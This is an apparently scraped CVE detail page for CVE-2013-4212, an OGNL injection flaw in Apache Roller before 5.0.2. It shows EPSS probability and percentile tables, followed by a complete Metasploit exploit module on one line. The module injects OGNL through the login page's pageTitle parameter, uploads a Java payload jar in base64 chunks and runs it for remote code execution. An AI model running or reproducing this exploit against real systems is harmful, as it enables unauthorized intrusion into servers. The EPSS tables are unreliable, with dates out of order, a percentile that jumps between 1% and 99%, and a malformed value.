CVE-2013-4212 : Detail

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

Date	EPSS V0	EPSS V1	EPSS V2 (> 2022-02-04)	EPSS V3 (> 2025-03-07)	EPSS V4 (> 2025-03-17)
2022-02-06	–	–	85.32%	–	–
2022-05-22	–	–	84.27%	–	–
2023-03-12	–	–	–	96.86%	–
2023-05-14	–	–	–	96.86%	–
2023-06-04	–	–	–	96.68%	–
2023-09-17	–	–	–	96.68%	–
2024-01-28	–	–	–	96.28%	–
2024-03-24	–	–	–	96.28%	–
2024-06-02	–	–	–	96.14%	–
2024-06-30	–	–	–	96.01%	–
2024-07-14	–	–	–	96.01%	–
2024-08-25	–	–	–	95.61%	–
2024-12-22	–	–	–	93.84%	–
2025-01-05	–	–	–	93.12%	–
2025-03-02	–	–	–	94.3%	–
2025-01-19	–	–	–	93.12%	–
2025-03-09	–	–	–	94.3%	–
2025-03-18	–	–	–	–	87.08%
2025-03-18	–	–	–	–	87.08,%

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

Date	Percentile
2022-02-06	1%
2022-05-22	1%
2023-03-12	99%
2023-05-14	1%
2023-06-04	99%
2023-09-17	1%
2024-01-28	99%
2024-03-24	1%
2024-06-02	1%
2024-06-30	99%
2024-07-14	1%
2024-08-25	99%
2024-12-22	99%
2025-01-05	99%
2025-03-02	99%
2025-01-19	99%
2025-03-09	99%
2025-03-18	99%
2025-03-18	99%

## # This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::FileDropper def initialize(info = {}) super(update_info(info, 'Name' => 'Apache Roller OGNL Injection', 'Description' => %q{ This module exploits an OGNL injection vulnerability in Apache Roller < 5.0.2. The vulnerability is due to an OGNL injection on the UIAction controller because of an insecure usage of the ActionSupport.getText method. This module has been tested successfully on Apache Roller 5.0.1 on Ubuntu 10.04. }, 'Author' => [ 'Unknown', # From coverity.com / Vulnerability discovery 'juan vazquez' # Metasploit module ], 'License' => MSF_LICENSE, 'References' => [ [ 'CVE', '2013-4212'], [ 'URL', 'http://security.coverity.com/advisory/2013/Oct/remote-code-execution-in-apache-roller-via-ognl-injection.html'] ], 'Platform' => 'java', 'Arch' => ARCH_JAVA, 'Privileged' => true, 'Targets' => [ [ 'Apache Roller 5.0.1', { } ] ], 'DisclosureDate' => 'Oct 31 2013', 'DefaultTarget' => 0)) register_options( [ Opt::RPORT(8080), OptString.new('TARGETURI', [ true, 'The path to the Apache Roller application.', "/roller"]) ], self.class) end def execute_command(cmd) injection = "%24{(%23_memberAccess[\"allowStaticMethodAccess\"]%3dtrue,CMD,'')}" injection.gsub!(/CMD/, Rex::Text::uri_encode(cmd)) vprint_status("Attempting to execute: #{cmd}") res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path.to_s, "roller-ui", "login.rol"), 'encode_params' => false, 'vars_get' => { 'pageTitle' => injection } }) end def java_upload_part(part, filename, append = 'false') cmd = "#f=new java.io.FileOutputStream('#{filename}'+#a,#{append})," cmd << "#f.write(new sun.misc.BASE64Decoder().decodeBuffer('#{Rex::Text.encode_base64(part)}'))," cmd << "#f.close(),#a='#{@random_suffix}'" execute_command(cmd) end def exploit print_status("Checking injection...") if check == Exploit::CheckCode::Vulnerable print_good("Target looks vulnerable, exploiting...") else print_warning("Target not found as vulnerable, trying anyway...") end @random_suffix = rand_text_alphanumeric(3) # To avoid duplicate execution @payload_exe = rand_text_alphanumeric(4+rand(4)) + ".jar" append = 'false' jar = payload.encoded_jar.pack File.open("/tmp/#{@payload_exe}", "wb") do |f| f.write(jar) end chunk_length = 384 # 512 bytes when base64 encoded parts = jar.chars.each_slice(chunk_length).map(&:join) parts.each do |part| java_upload_part(part, @payload_exe, append) append = 'true' end register_files_for_cleanup("#{@payload_exe}null", "#{@payload_exe}#{@random_suffix}") cmd = "" # disable Vararg handling (since it is buggy in OGNL used by Struts 2.1 cmd << "#q=@java.lang.Class@forName('ognl.OgnlRuntime').getDeclaredField('_jdkChecked')," cmd << "#q.setAccessible(true),#q.set(null,true)," cmd << "#q=@java.lang.Class@forName('ognl.OgnlRuntime').getDeclaredField('_jdk15')," cmd << "#q.setAccessible(true),#q.set(null,false)," # create classloader cmd << "#cl=new java.net.URLClassLoader(new java.net.URL[]{new java.io.File('#{@payload_exe}'+#a).toURI().toURL()}),#a='#{rand_text_alphanumeric(4)}'," # load class cmd << "#c=#cl.loadClass('metasploit.Payload')," # invoke main method cmd << "#c.getMethod('main',new java.lang.Class[]{@java.lang.Class@forName('[Ljava.lang.String;')}).invoke(" cmd << "null,new java.lang.Object[]{new java.lang.String[0]})" execute_command(cmd) end def check addend_one = rand_text_numeric(rand(3) + 1).to_i addend_two = rand_text_numeric(rand(3) + 1).to_i sum = addend_one + addend_two res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path.to_s, "roller-ui", "login.rol"), 'vars_get' => { 'pageTitle' => "${new java.lang.Integer(#{addend_one}+#{addend_two})}", } }) if res and res.code == 200 and res.body =~ /#{sum}/ return Exploit::CheckCode::Vulnerable end return Exploit::CheckCode::Safe end end